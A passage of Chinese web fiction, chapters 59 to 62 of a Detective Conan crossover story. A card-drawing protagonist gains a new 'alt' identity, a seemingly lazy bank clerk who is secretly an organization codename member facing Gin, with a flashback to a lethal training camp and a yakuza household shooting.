“是那位女士的消息吗?”有人忐忑不安道:“她真的就这么走了吗?对我们不管不问?” 有人气急了,他大声道:“就算我们是背叛者,不也是被她说动的吗?队长你说她能够给人异能力,所以我们才跟着你出来,现在这样一走了之……” “住口!”西尾粧大声喝道:“女士自有其决断!还有,她没有不管我们,这就是她让人给我们发过来的消息。” “另外,谁说她承诺过要给你们赐下异能力了?”西尾粧眼神锐利:“不是你们看见我有了异能力,主动要求加入我们的吗?你们甚至连见都没见过她,有什么胆子这么说。” 有人回想了一下,脸色瞬时难看起来,西尾粧确实不曾对他们这样说过。可当时,他的哪一个动作和表情,不都是在这样暗示吗? “她准备要怎么安顿我们?”有人知道再纠缠也无用,冷静道:“港口黑手党现在没有处理我们,不代表以后不会处理。如果她真的完全抛下我们,我们最好想办法立刻离开这里。” 西尾粧脸色平静,他晃了晃手机,道:“我们去另一个城市。” “是女士的吩咐么?”有人问。 “不,”西尾粧深沉的眼中闪过一抹亮光:“是一位王者。” [望川涉]放下了手中的手机,那条以“无色”之名发出的消息在点开查看后,十秒内就会自己销毁,无论多少人通过网络追寻而来,都不会找到这里。这是他身为暗夜情报商的基础技能,也是他能逃开黑衣组织追捕的一部分依仗。他笑了起来:“快了,组织,不会让你等太久的。” 裴真又是简单一抽。 [青铜·技能]【跑酷】 “年轻挑战极限,人生追求卓越!” “赢得更多喝彩吧,唯有这一瞬,世界将灯光照在你的身上。” 画面是一个人在跨越沟壑的身影。裴真将之收下,并抓住了一颗新的星星。 “我们现在去哪里?”跟着[伊莎贝尔]下了船的小岛菜菜子问。 [伊莎贝尔]笑了下,[她]转过头道:“我们现在很多地方都去不了。不过没关系,人类并不是统治了地球的每一个角落。我们很可能会在所有人眼中消失很长一段时间,这段日子会很辛苦,你愿意么?” 小岛菜菜子翻了个白眼:“女士你再这样说我可就生气了,在我跟着你之后,你去哪里我没有跟去?再说了,这段时期你这么危险,要是没有我,你遇到困难怎么办?” [伊莎贝尔]宽容道:“好吧,是我想岔了。我们去准备物资吧,这一次要准备的东西可能有些多。” “好的!”小岛菜菜子立刻就笑了起来,并蹦跳着跟随前进。 裴真将视线移回,将注意力放在新的卡牌上。 [灰石·技能]【抓】 “给一些有锋利爪子小动物的技能,能够有效威胁一些没有边界感的人类,阻止蹭过来贴贴贴。” 三道血色的抓痕尽显其威力。裴真心绪不动,又一颗星星被他摘落。 [灰石·杂物]【一封情书】、[灰石·杂物]【长夹克】 过! 裴真已经是无情的抽卡机器人了,不将[伊莎贝尔]从码头离开,和在世界范围内扩散后获得的声名消耗完,他是不会结束这一场没有感情的抽卡的。 电视里的男明星已经唱完了歌,柯南与灰原哀也回去了毛利侦探事务所,他们在路上遇到一个金发黑皮的小哥,小哥身上系着围裙,像是在打工的途中,他蹲下身来,似是要向他们问话…… 裴真瞥了眼融液球,进行了最后一抽—— 星星是青色的,它拖着条长长的尾巴,落在他的身前。 [青铜·身份]【风祭野见(哥连士)】 嗯?裴真不由将心神凝注其中,之前的无情一扫而空。 第59章 【命运的黑白牌】 命运有很多张牌, 而我只是恰好选到了黑色的那张。 ——风祭野见 最近的异能界很不平静,一个普通的女人在横滨搞出了那么大的动静,还拿走了所谓“书”的书页, 这让后来去的“组合”在当地发了很大的脾气,横滨市异能界的人花费了更多的代价,才让那次的事件平息下来。 而一般人不知道的是, 那位黄金的王者在御柱塔中特意下达了命令,彻底对横滨擂钵街一事中的人进行处理, 哪怕事情的源头是十四年前,也要对当初事件中的所有人进行追责, 不论你现在是什么职位,是上升还是退隐。政治界陷入了一片混乱。 当然, 这件事对这个国家的普通人是没什么影响的。 牛马么, 总有很多事不知道, 但也总能浑浑噩噩地活着。一旦这火烧到了他们身上,就代表着这世界真的乱了。 当然,也有些牛马根本不关注这些, 因为平常的生活就已经耗费了他们所有的精力。他们也对自己有着基本的认知, 知道日常生活虽累, 但也已是他们最平稳无波的选择了。 就比如我。 是的, 大家好,我叫风祭野见, 今年29岁, 是一位快30岁的老大叔了,虽然活了这么些年, 可事业依旧是一事无成。职业是在一家小银行做个小组长,薪水也刚好能够维持普通的生活, 不穿名牌,不开豪车,出行是一辆咬咬牙买下的小电驴,平日里最多只参加一些职员间的聚会,因为要有最起码的社交。看见别人出门去旅行,心中也会生出羡慕,可看看自己空旷的钱包,只能回头转入到工作中去。 没有女孩子喜欢我,也没有男孩子喜欢我,单身一人住在租来的公寓中,每天除了上下班,不会有任何偏离路线的举动。也不善于打扮自己,有人说我平日里总是邋里邋遢的,一件长款的大衣可以穿好多年,可我只觉得奇怪,衣服能穿就继续穿好了,为什么要对这一点进行挑剔,那人就叹了口气,摇摇头,不再试图改造我了。 其实我也知道,现在的年轻人喜欢变化的东西,他们追求自我,聪颖独立,对事物有着自己特有的评价。而我,从小时候起就是这么平凡普通,不是不想成为光鲜亮丽的人,可每一次尝试总是失败。我很羡慕那些万众瞩目者,他们的一切都显得那么完美无缺,可我每一次追赶,都无法追逐上“时尚”。后来我也认命了,大概,我就是这样一个迟钝的孩子吧…… 糟糕,吐槽了这么久,时间已经快过去了,再磨磨蹭蹭,今日份的考勤就别想要了。慌慌张张叼起一片吐司,“哐”的一声关上大门,又匆匆忙忙地骑上自己的小车,向着银行的方向飞速驶去。幸好今日的人流量不多,交警也很尽责,恰好让我能在最后一秒中打上卡,瘫倒在地上时,我长长地舒出口气。 路过的女职员美月小鸟端着咖啡路过,见到我的模样,她笑着打趣道:“早啊,风祭前辈,也就在每天的这个时候,能看到你活力满满的样子了。” 我苦笑起来:“没办法,我也想要改变,可现在看来,这习惯是大概融入了骨子里,这辈子也就这样了。” “不要说丧气话啊!”刚走到工作的地方,一个比我年轻一点的男子就凑了过来,他带来了一些今日要办公的文件,矫健的动作下是青春健康的身躯,他满面笑容道:“我觉得前辈其实很有能力,我进公司也是前辈带的我,每次将事务交给前辈我都很放心,前辈总有一天会做出一番大事业来的!” 我瞳孔剧震,好奇怪啊,三轮未海君为什么要这样说我?是我的哪一点,不在表明我就是一个老老实实的社畜大叔?为什么要这样崇拜我,明明我什么都没做,日常的工作也只是普普通通的完成,难道说日本现在已经这样了,对于成年的男性前辈,恭维夸赞都已经需要上升到违心的地步了?听说明年里公司有人要晋升职位,能够将职场经营到这种地步,你一定就是最佳的人选吧! 我还是赶紧离他远一点吧,奋斗的人和懒散的人还是不要凑在一起好了,只要隔得远了,他一定就能够洗清眼睛,看清楚我是一个多么不可救药的人吧? 我和另一位同事交换了下事物,去前台做一些招待和文书的工作。现在的时间是下午两点,这家小银行开业的时间是下午两点半,也就是说,我还可以有半个小时的时间来进行休息和摸鱼…… 额,已经有客人等在这里了吗? 我细细地观察,来的是两个穿着一身黑的奇怪的男人,怎么说呢,他们身上有着那种年轻人很欣赏的“酷”气质,领头的是一个有着一头顺直长银发的很冷的男人,他头上戴着一顶圆形的黑色礼帽,一只手插在兜里,另一只手夹着一根烟,双眼正望向银行的玻璃门外。另一个则是有些魁梧凶狠的男子,看到我过来,他将手里的银色手提箱往案上一放,冷声道:“存钱!” 不好,这两个人看上去就是一副不好惹的样子,似乎察觉到了我的目光,那个领头的银发男将视线转移了回来,刀子一般的目光扫视了一下我的周身。他身上恍似有一种格外冷冽的气质,就如同是狩猎的食肉动物,下一秒就会扑过来撕扯,咬断人的咽喉。 我赶紧低下头,连工作时间还没到都不敢说,只想将事情尽快办完,早点将这两个煞星送走。幸好他们没有催促,否则我只怕会越忙越乱,在这一刻,我十分后悔刚才与同事进行业务交换了。 “呵。”不知道为什么,那个银发男在打量了我一会后,忽然发出一声短促的语声,其中带着毫不掩饰的嫌弃,我有些慌了,只觉得已经有一把枪抵在我的脑袋上了,我战战兢兢地做完这一切,然后头也不敢抬地将手中的存单递了过去。 矮一点的壮男接过,他恭敬地对着银发男子道:“大哥,已经办好了。” “嗯。”男人只是低声回应了一句。良久,我才慢慢地抬起头来,眼前的那两个人已经不见了,我长长地呼出口气,只觉得汗都冒出来了。 “前辈,”美月小鸟在后面悄悄打招呼道:“那两个人是什么人?” 我连忙斥责:“管他们是什么人,不要去打探客人的隐私!” 也许是从来没被我这样说过,美月小鸟一时有些讶异也有些委屈,但她很快就反应过来,在我要后悔的前一刻轻声道:“抱歉,公司有规章制度,是我冒犯了。” 我也赶紧去安慰她,将话题从那两人身上移开,美月小鸟很快就忘了这件事,重新恢复了快乐。 下午的工作出乎意料的很繁忙,一直到最后,还接了个外出商谈的业务,作为银行的一位小组长,我也在外出陪酒的名单上。对方是一家会社的社长,对于金钱有着一种贪婪的执着,谈了很久才将这笔业务谈下来,感觉整个人比连续工作了两三天都累。 回去的时候天已经黑了,小电驴也被放在公司里,我是蹭同事的车回来的,距离租住的房屋还有一小段的距离,没办法,只能靠脚走了,希望便利店里还有醒酒的东西卖,不至于第二天没办法早起。这就是打工人牛马的一天啊,就纯累,希望这次的加班费能多一些。 这样想着的我,刚转过一个拐弯口,就见到了一副不可思议的场景。 “大哥,”伏特加在对着琴酒说:“就是这个人了,和组织做交易,还敢从中克扣油水。上一次的组织泄密,说不定就是从这些人手中发出的。” 琴酒这一次将烟点燃了,森白的牙齿紧紧地咬住烟嘴,他露出一抹冷寒的笑:“组织来找你,你居然敢跑?” 被制住的是一个油光满面的胖子,他泪涕横流地连连摇头,嘴里支吾着想要说些什么,但伏特加已经堵住了他的嘴。 琴酒蹲下了身,他狰狞道:“和组织一起售卖禁药,这已经足够你赚的了。居然还贪心不足,想要将手伸到上线,和另一个帮派拉拉扯扯。看来,你还是吃的太饱了!” 胖子预料到了什么,他双眼睁得老大,整个身躯在地上摩擦,想要往后退。 但,“砰”,一声轻微的枪响,庞大的身躯倒了下去,鲜血的腥味散开。 “还有另一个,”伏特加跃跃欲试:“这家伙是这个死掉人的副手,就是他提议,要将手里的走私路线卖给那群韩国人,让他们去做粉的生意。” 他看样子想要亲自动手,但琴酒嘴边忽而露出一抹冷笑,他突然将手中的枪往黑暗里一指,厉声道:“出来!” 伏特加大惊:“大哥有不长眼的来了吗?”还是有误入的人? 琴酒不耐烦道:“别让我再说第二遍!”他的食指弯曲,就要扣下扳机。 黑暗里传来一声轻叹,终于有人慢慢地走了出来。 还是同样的那身衣服,但人的精气神已与白日里的完全不同。看到这幅凶杀案的现场,他也没有露出一丝惊慌,就算是被枪指着,他也只是微微敛下眉眼,眼中一片淡漠。 “呵,”琴酒又极嘲讽地笑了:“是你啊,哥连士。这么晚了,你出来是做什么呢?” 第60章 少年的你我 刚想问要不要将其解决的伏特加大吃一惊, 他将话咽回了喉咙里,看了这人几眼,不知为何, 觉得有些熟悉,但仔细一想,又没在组织中见过他。 “好久不见了, 琴酒,”白日里还是一位普通社畜员工的风祭野见静静道:“我们已经有快十年没碰过面了吧?” 琴酒仔细地瞧了他一会, 将手中的枪放下后,他道:“居然能够容许你活到现在, 看来组织这些年里的作风还是太温柔了,什么人该筛选出去都不知道。” 风祭野见没有对他的话产生什么波动, 他手里提着一个装满了生活用品的袋子, 往前走出几步, 在伏特加警惕的目光中,他环视了一下周围,看了眼尸体和尸体下流出的浓稠鲜血道:“这么多年过去了, 琴酒你办事的手段还是这样粗糙。迟早有一天, 你会在这上面栽个大跟头的, 还有, ”他转向琴酒:“组织要怎么安排组里的员工,是由BOSS来决定的, 轮不到你来置喙。” “哈哈哈, ”琴酒大笑起来,他一边笑, 一边散发出森然的杀气,他阴冷地看着他:“你还是这样, 对自己的定位身份看不清楚,但凡有一分的差距,你现在就不可能还活着站在这里同我说话。” 风祭野见想了想道:“但我还是过了不是吗?不论怎样,我都成功地取得了组织代号,在我没有犯出重大错误之前,琴酒你也没有资格对我私下里做出处罚吧。” 伏特加的冷汗都快要出来了,因为琴酒周身的气质愈发的冰冷了,他冷冷地看了他好一会,才慢慢道:“我倒是不知,什么时候组织的代号成员已经沦落到去做一个银行的小职员了,你的手真的还能拿的动枪吗?” 风祭野见瞅了瞅他,良久,他极轻地叹了口气,看来今日不做些什么,他是不可能无伤地从这里走出去了。想到这里,他忽然手一抖,一把黑色的手枪就出现在他手上,再然后,一连三声枪响,每一响,都在还活着的那个贩毒走私犯的额头上开出一朵血花,他还没反应过来,瞪大了眼睛,就这样闷不吭声地倒了下去。 伏特加身体紧绷,他一只手插在怀里,差点就将自己的枪也掏了出来,他瞅了下琴酒的脸色,发现他的神情比之前更难看了。风祭野见道:“这样我足够证明自己了吗?”他说得很认真,就好像真的是那样想的。 “另外,”他提着那个塑料袋,从鲜血中走出:“今天的事我会报告给朗姆的,毕竟我是情报组的人,贸然沾血可不在我的任务范围内。” 他就这样一步步地走远,无视了琴酒针刺一样落在他背上的眼神。一直等到他的身影完全消失,伏特加才敢轻声问:“大哥,他是谁呀,为什么我在组织里好像从来没听过他的名字?” 琴酒掏出根烟,伏特加很有眼色地上前去点燃。琴酒深深地吸了一口,然后冷哼道:“不过是组织留下来的一些残次品……” 他的记忆返回到十多年前。那是在组织数十个基地中的一处。 时值盛夏,每一丝虫鸣都能激起人心底里最剧烈的波涛,数十位的少年人正穿着极薄的背心笔直地站在空地上。在他们面前来回走动的,是一个身材如熊一般高大的俄国壮汉,他用狼一样的眼神扫视着这些还未长成的少年人,军靴踏在地上的声音,是死神敲击在他们心头的鸣钟。 他手里拿着一张薄薄的纸,上面写着一些字,他一边踱步,一边念出几个名字。被叫出名字的人,都往前踏出一步,向他行礼。 “以上,”壮汉又特意在他们身上停留了一会,满意地看到他们就算到了现在,也依旧十分规整的形态,但下一瞬,他便露出了一抹残酷嗜血的笑,毫不留情地将这些人抛到了地狱:“均不合格,将他们带下去吧。” “什么?”“不对,不该是这样的……”“你知道我爸爸是谁吗?”“我不服,你凭什么这样评判?”…… 生死的压力下,先前被训练到脱去了几层皮的少年人终究还是反抗了起来。壮汉生出了怒火,他掏出手枪,对着叫嚣最大声的那个毫不犹豫地开了枪,少年软倒在地上,身下流出黄色的液体。 壮汉也皱紧了眉,很快就有人上前来将他带走。“我以为,连续三年的训练已经足够让你们知道什么是敬畏,”他生气地挥舞着手臂:“但现在看来,有些人还是没能认清自己的处境!” “这里是角斗所,是囚笼,是决出生死的绞肉场,”他大声道:“从你们的亲人将你们送到这里来的那一刻起,你们就被放弃了。我在第一天就同你们说过,没有从这里爬出去的人,他们的下场,都只会是在组织的实验室中。这里,可是地狱啊!”他意犹未尽道。 被选出的人仿佛看到了他们即将迎来的悲惨的下场,做出什么反应的都有。壮汉面色冷酷,站在原地动也不动,直到另一个站在他身后的身影说:“再进行一次测试吧。” 这是一个只比这些人高出约摸半个头的银色长发的少年,虽然他的年龄只比他们大几岁,但面上却是成熟冷静不少。他现在正在看的是这些人在过去三年里的训练成绩报表,他头也不抬道:“人不需要那么多,让淘汰者中的前几位,与最末位的几人进行一场比试吧,赢下来的才能活。” 壮汉教官想了想,没有反驳他的提议,这人是前几届训练场中的成绩最佳者,据说这几年任务完成得也很好,得到了那位先生的关注和欣赏,有成为其心腹的趋势。他念出了五个名字。 走出来的是四男一女,少年们脸色绷得很紧,有表情管理不好的,望向银发少年的眼中流出愤恨,银发少年丝毫不在意这些。相反的是那几个从淘汰者中选出,他们简直感激涕零了,但银发少年同样不在意这些。 后来走出的及格的几人中,有一位亚麻色短发的少年人,他的身材不高不矮,神色是这其中最平静的一个,他的眸色是棕色的,里面是毫无波澜的一汪泉,丝毫看不出他即将要面对的是一场极为凶险的对决。他的体术成绩并不好,是所有人中的中下等。 他只是在心里叹了口气,感慨变数总是在事情真正发生时来临。 他是第三个上场的,对手是一位黑色短发的少女。他们似乎相识,在开始前还说了几句话。但紧接着的对决情况,让所有人都不由为之侧目。 看到他被少女的一连串踢技打得后退,教官连忙将一些信息透露给银发少年听。“33789号擅长的是情报搜集能力,他的枪法还不错,就是体能糟糕了一些。当然,他很会找准时机,将劣势转化为优势。” 这不是对他的维护,场中的局势确实在不久后发生了变化,好似是少年说了些什么,女孩情绪一下子就激动起来,然后男孩找准时候,顶着被打的青紫的脸,一个膝撞,顶进了她的腹部,在她干呕时,扭断她的手,夺走她的枪,再将其击晕。 银发少年微微眯起眼睛:“这就是他糟糕的体术?” “是啊,”教官有些惋惜:“如果不是他在情报收集方面确实有天赋,其它能力虽然平庸,但也没有过缺的短板,恐怕淘汰的人中还要多他一个。就算这样,综合评分,他也是刚好过及格线,是最差的一个。” 场上的情况过得不慢,知道这场比斗关乎了自己的性命,每个人都拼了全力去搏斗,前几位大都保住了他们的名次,直到第四位…… 那位原本在名次中的女孩摔倒在地上,她面露惊恐地看着对手,她的对手已然疯狂,被枪打中了身躯也毫不在意,他就像是知道自己活不了一样,死死地咬住女孩的鼻子,恐怖的面容距离她只有几毫米,她痛的大叫起来。对手瞬间往她胸口处突袭,她下意识地闪了闪,而这一闪,就将她奠定的优势献了出去。 亚麻发色的少年移开目光,他知道这次胜负已分了。 很快,就有人来拖走四具尸体,两人同归于尽,两人被对手打死,还有三人失去了一部分躯体,最后留下来的,只有三位幸存者。这一次筛选才算是结束了。 剩下的人也终于能从这里走出,接下来他们会去为这个庞大的组织做事,有人会活下去,获得之前父母辈留下来的代号,也有人会死去,他们的生息熄灭在谁也看不到的地方,风一吹,便杳杳无踪迹。 这就是他们的命运,是一出生就定好的命运。 而令人意外的是,在当晚,亚麻发色的少年就收到了调遣。“去行动部?”他躺在床上,伸出手举起那封调遣信,看着上面的文字。 “这和我料想的不一样。”他只稍微思索了一下,银发少年那张冷漠的脸就出现了在他的脑海,“应该是他吧,”他默默想到:“改动成员分配计划表。” “这家伙,一看就是个大麻烦啊。”他想起了本该能活下来的那个少女,心念一转,就做下了某个决定。 “呵呵,你是说,”第二日,那位银发的少年瞪着眼道:“他拒绝了我。情报部的人点名了要将他带走,还是朗姆吩咐下来的?” “是的,”教官擦了擦汗,感到自己似乎卷入到了组织中的某个漩涡里,他道:“你是知道的,这些人本来就是一些组织成员的孩子,之前还好说,没有通过测试的,想怎么处理都行。但一旦通过测试了,从前的一些人脉也就可以重新启用了,这本就不为组织禁止。更何况,他确实在情报处理上有天赋,朗姆带走他是合情合理的。” 银发少年人冷笑起来:“天赋?就他那干什么都不行的样子吗?” “呃,”教官不知说什么好,最后只好挽尊一下:“他好歹也算是通过了测试……” “哼!”银发少年人不爽离去。 当然,成年后的琴酒并没有将这些告诉伏特加,大哥哪有向小弟解释的?只是后来,他在搜索新晋“哥连士”酒的情报时,才稍稍想起来这段过去的事,“风祭野见”这个名字,也是在过了很多年后,才再次撞入他的记忆。他后来之所以看他不顺眼,除开和朗姆立场相对外,就是这些年里他的情况了。 怎么说呢,除了没犯一些原则性的错误,他做下的事,都是在完成与未完成的边缘晃荡。你不能说他没完成,他确实很努力了,好几次还负了伤,但结果总是不大好,要么就是拖出了意外,要么就是完成了还不如不完成,给组织带来的成果还不如不做。这纯粹就是个人能力的问题。用一句话来说,就是“食之无味,弃之可惜”,这便是对他最好的评价了。 结果么,大家自然也看到了,就是这瓶酒被越来越边缘化,一个代号成员,居然混到了去做一个小银行的职工,尽管还是组织的产业,但也足够让人贻笑大方的了。 伏特加还不知道这些,他只是跟在琴酒身后,不断地在问:“为什么‘哥连士’酒这个名字我在组织中从未听说过?它是从上一辈继承下来的,那岂不是说,他的父亲和母亲都对组织有很大的贡献……”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 马甲的变化 加入组织从来就不是什么一件好事。有些时候, 人若是能做出一些其他人完全做不到的事,那必然就是他们经过了一些特殊又严格的训练,就好比是裴真这一次抽出的[身份]卡牌。 [青铜·身份]【风祭野见(哥连士)】 “你一向认为, 一个人如果下定了决心要隐藏自己,那他就必然不会因为一些莫名其妙的事而暴露。” 身为组织中成员二代的你对于自己的身世其实没什么意见,因为黑与白对于你来说, 都是毫无意义的。你也从没有对自己的那对父母有所期待,因为就连他们在世的时候, 也不曾对你表露得多么亲近。只是他们留下来的一些东西,让你颇为苦恼。 一个黑暗中的组织将你投入到残酷的培养皿中, 并期待能从中能开出灿烂的花。你不能理解他们的动机,因为一个有向心力的组织, 是绝不会用这样的方式来培养下属的, 尤其是还是它本身成员的后代。他们是它天生的拥簇者, 恩威并施中,恩应当大于威。 不过,你也不想揣测领头人想的是什么, 你只是烦恼自己的计划被打断。虽然想过平凡人的一生, 但你也是有好好计算过的。你应当是有一个孤单却平稳的人生, 而不是一开始, 就要与同类自相残杀。你不想变得出类拔萃,因为只要转念一想就能明白, 能这样涸泽而渔地培养新一代的组织, 对于最优秀者,又怎么不会成千上万倍地压榨呢? 但不通过者, 组织又会将其扔进实验室做小白鼠。这与你的生存之道不符。于是你想出了另外一个办法。 “可悲的不是心怀叵测者,而是竭力想做一件事, 却怎么也做不好的平庸的人。”尽管组织的评判标准比外界高好几倍,但既然有评价,那自然就会有“庸碌者”,你可以好,但不能那么的好。 “极简地生活。”这便是被你奉为最高美学的生活方式。 一道白光闪过,以[青铜·身份]【风祭野见(哥连士)】与[钨铁·时装]【命运的摆弄人】组成的新的马甲便就此登场了。二者默默地对视了一眼,一时间,没有人开口说话。 裴真陷入了思索,对方也没有打扰他,良久,他叹了口气道:“看来之前的感觉没有错。” 他放下了托着下巴的手,“从[伊莎贝尔]在使用书页后,你们和我之间的关系没有变,但类似‘分魂’的方式对我的压力没有以前那么大了,只要我一开始就赐予你们‘无色之王’的能量,你们甚至能更具有灵活性,而不是非要我将主要的心神转移到你们身上去。当然,我想过去也不会有阻碍。” 他盯着[他],默默地想:“这应该是一件好事吧?”起码自己不用担心在马甲越来越多以后,会陷入到精神分裂的状态。 [风祭野见]仍然没有说话,从外表上看,他其实是裴真与马甲中少有的极具成年男性魅力的马甲,在不扮做颓丧时,他身形高大,气质深邃,眼神中有着一种超然的冷静,仿佛是在仔细评判世间所有之物从内到外的价值。他的瞳孔是一种透彻的棕色,面上是一种非人般的冷漠,整体形象是隔绝在世外的冷然疏离,就好像是一个只站在一切之外的怪物,在无情地关注着人类构建出来的社会。 但裴真在瞟回了他一眼后说道:“别想了,没有类似[钨铁·技能]【统帅】那样的牌。”只有【开锁术】、【跑酷】、【皮夹克】这样奇怪的东西,最有用的是一张[青铜·技能]【枪械精通】,可就这样,主体还要在每周自己去锻炼的时候,将它从自己身上扒下来。 [风祭野见]身上的那种超然的神秘感立刻就退去了,他的眼中闪过一抹幽怨,他喃喃自语道:“我果然就只是个普通的马甲,和其他闪亮的壳子不一样,没有逆天的技能,也没有离奇的魅力,恐怕以后普普通通地围观他们,便是我唯一能做到的了吧。” 裴真眼角抽了下,他道:“其实你已经比一开始的好了,在[望川涉]刚出来的时候,我还一直担心他一转眼间就会被抓到警察局去了呢。[伊莎贝尔]现在还在国外流浪,名字一出来,就会被各种各样的人围堵。就连我,”他眼眸一动道:“身上背了个‘无色之王’的帽子,也还是要躲藏在暗地里,连一点的踪迹也不敢透露。我们都还需要努力啊。”他拍了拍[风祭野见]的肩膀。 对方眨了眨眼,以一种平静无波的语气道:“难道伊莎贝尔使用了【统帅】,也影响到了主体,让他蛊惑人的口才也提升了?”说到这,[他]用一种无奈的眼神瞧了他一眼,“唉,没办法,谁让你是本体呢?想要做的事我们都会帮你做,想要达成的目标我们都会帮你实现,就算是想要PUA我们,我也还是只能老老实实地站在这里,听你对我们画饼。” 裴真先是有些愕然,可很快,他面上的笑容就核善起来,他再次用力地拍了拍[风祭野见]的肩膀,大声道:“马甲3号,该轮到你去上班了!” 在见到[风祭野见]老老实实地滚走后,裴真的眼神微闪,这就是马甲们自主性提升后的结果吗?他刚才说的那些话,是在察觉到自己有一瞬的担忧后,对自己的安慰?裴真想了想,摇了摇头。这大概就是幕后黑手的孤独吧,连对自身情感的抚慰,也得要自己来。 想到这里,他倾下了身,摸了摸从外面回来的“宝石”的猫头,感知了一下它的“喵喵”叫,点了点头:“原来如此,找到了那只猫啊。不是被人拐走了,是自己走失了,还被一个小学生圈养了,他给的零食太好吃了,一时忘了回来……” “这样可不行,”刚被自己马甲给“揉搓”了一下的裴真笑容十分温柔:“猫猫怎么能忘记自己的主人呢?就算小零食再好吃也不行,让我们来帮它回忆起主人对它的疼爱吧!” 不知为何,“宝石”打了个冷战,它瞅了瞅裴真温和的笑脸,还是将自己的脑袋埋进他的怀里。算了,又不是死本猫,管它怎么样呢! 时间一瞬就过去了。在琴酒“职场骚扰”过后的几天,风祭野见没有接收到上级新的命令,估计是他在组织里做咸鱼做得太久了吧,朗姆只会通过人来下达最基础的任务。 在惴惴不安了好久后,见没发生什么变化,风祭野见也就松了口气,他不必再担心自己的安危了,这让他走路都轻快不少,饭都多吃了几口。 一边的三轮未海在过来时,连瞅了他好几眼,在风祭野见回望过去后,他顶着一张大大的笑脸说道:“看来前辈这几天心情终于变好了,我也不用再担心了。” 风祭野见瞳孔一缩,他抬起头来,若无其事道:“你说我前几天心情不好,你是怎么看出来的?” 三轮未海有些苦恼地摸了摸脑袋,他为难道:“怎么说呢,我也不知道怎么形容,就是一种感觉,感觉你知道吧……” 风祭野见沉默了下,最终,他道:“我知道了。我只是在回家的路上碰到了一个从前就不怎么喜欢的人,所以……” 三轮未海连忙道:“我明白的,前辈!遇见不喜欢的人就像吃到了一块过期发霉的蛋糕,再怎么漱口,也难以去除他的味道。前辈还是不要记起他吧,过几天公司就要组织去旅游,前辈可以去放松下身体,不要让不好的人影响你的心情。” 风祭野见点了点头,他道:“三轮君总是这么敏锐,难怪大家都很喜欢你。” 三轮未海连忙摇头道:“不不不,是大家都是好人,所以才会对我好。风祭前辈也帮了我很多,我很喜欢这里的氛围,希望能和大家一起工作下去。” “是么?”风祭野见清清淡淡道,他低头看了一眼自己手里的面包,面包松软香柔,就是糖放的有些多了,过于甜腻了,他没有折磨自己的爱好,将之放了下去,没有再吃。他轻声道:“希望你过段时间还这么认为就好了。” “诶?”三轮未海有些不明白。但风祭野见没有再说,他开始尝试其他的餐食,三轮未海无法再问,只好抱着一缕疑惑离开。 风祭野见注视着他的背影,没做一个多余的动作。 一边店里的电视台忽然放出一台节目,打断了他周身有些沉寂的氛围。微笑的主持人在大声介绍着一位刚刚出道的歌手,他用了很多过于夸张的词汇,让站在他身边的年轻人有些不耐烦了。但他也知道这是电视台惯用的博眼球的手段,更何况,连合同也签了,他就只能乖乖地站在这里,来回答主持人一个接一个的问题。 “嗯?”风祭野见先是疑惑,很快,他就睁大了眼:“嗯?!” 年轻的艺人有着一张痞帅的脸,尽管稍有不耐,但仍乖乖呆着的驯服让他带给人一种奇妙的观感。他有着一头凌乱散碎的黄发,面上画着精致的妆,耳垂上闪耀的耳钉夺人眼球,他开了口,声音华丽中带着磁性,仿佛能触动人的心弦。 用粉丝的话来说,就是好听到能让人的耳朵怀孕。 “噗!”风祭野见还是忍不住了。 第62章 复苏带来的影响 他低下头, 按耐住自己的笑声。他忽然觉得,作为一个黑夜组织的马甲也没什么不好的,最起码, 不用被本体拉去电视台做一个赚取声望光点的工具人,看现在这位的样子,以后恐怕还要上更多的舞台。 风祭野见可没有忘记, 本体是一个非常喜欢安静的性子,马甲是各有各的背景和设定, 但最初的开始,不都还是来源于本体么。 他结束了今日的进餐, 又开始了一天银行的工作。 ………… 又是一天黑夜,三轮未海又回到了那个自己的家中。他换上了一身日本传统的和服, 在父亲和自己的哥哥面前恭敬地叩头, 他为他们添上温热的清酒, 然后看他们与各个穿西装的“叔叔伯伯们”激烈地讨论着会中的事物。 时已近深夜,这场欢聚仍没有停息,三轮未海也不觉得奇怪, 往年的时候, 他们都会聊到通宵, 有时候, 他们还会点上几个营业的女子,一边为他们歌舞, 一边伺候他们喝酒, 但更多的,是在交谈完会内事物后, 留下来给自己享用。 “未海呐,”最领头的那个男人忽然唤起他的名字, 他手里端着杯酒,眯起眼睛道:“你今年已经二十多岁了吧?” 三轮未海笑着说:“劳父亲挂念,未海已经二十有三了。” “不错,”他颔首道:“终于是个男子汉了。”他沉吟了一下,又道:“也是到该为会中发展做出贡献的时候了。你知道春雪家的下下美央小姐么,明日她会和春雪家的家主上门来拜访,你可要和她好好相处,最好能夺得她的芳心。” “咚!”屋外的惊鹿竹器扣响在石头上,潺潺的水流轻松流泻而下。 “噗嗤。”这是一旁哥哥忍不住发出的笑声。 在他的父亲谈论起事情的时候,下方的“叔叔伯伯”们连说话的声音也小了许多。他们都将视线放在自己身上,连商谈的话也好似是与他有关的。 “已经长这么大了啊,上次看好像还是个小不点的样子。” “那个女人也真是厉害,那样了都还能将孩子生下来,也不知现在是不是还活着。” “留着他也是在给大公子添堵,入赘出去还能给会里拉一个盟友……” 三轮未海恍若未闻,他十分恭敬道:“好的,父亲,我会努力做到的。” 他的父亲叹息一声,语声放柔:“春雪家是我们上一代的盟友,只是后来落魄了,也就没有交往了。但最近他们好像搭上了什么势力,一些买卖又拾了回来,经营得比以前还要好。你与春雪家的那位小姐交往的时候,要小心试探一下,问出那个势力的底细,最好能得到他们联络的方式。” 他的哥哥也在一旁搭话:“还有啊,要注意那位小姐的体型,不要露出什么不该有的表情,那样的话,联姻是不会有事的,可你以后的日子就不好过喽!” 三轮未海对他的嘲讽恍若未闻,只是恭敬道:“我会的,父亲。多谢父亲和哥哥的担心。” 他的父亲也没有对他哥哥的话做出什么反应,他只是淡淡道:“还有,你在外面的那个工作也辞了,不过是一个小公司的职员,赚的钱还不如我们一次聚会花的多,专心在家好好待你的妻子。” “铃铃铃铃。”外面的风铃也在一阵夜风中被吹响,打着旋儿地发出声音。 三轮未海的眼眸落在了父亲手中的酒杯上,看着他一仰头,将这杯酒水一饮而尽。他往这边望过来,张张口,好像还想要说些什么。 “噗嗤——”一道轻响打断了他的动作,温热的鲜血一下子就泼洒到下面人半边的脸上,三轮未海睁大双眼,就在他的面前,就在那一瞬间,他的父亲被一枪爆头,怒瞪的眼中失去了神采,手中的酒杯滚落到地上,浸湿了红色的地毯。 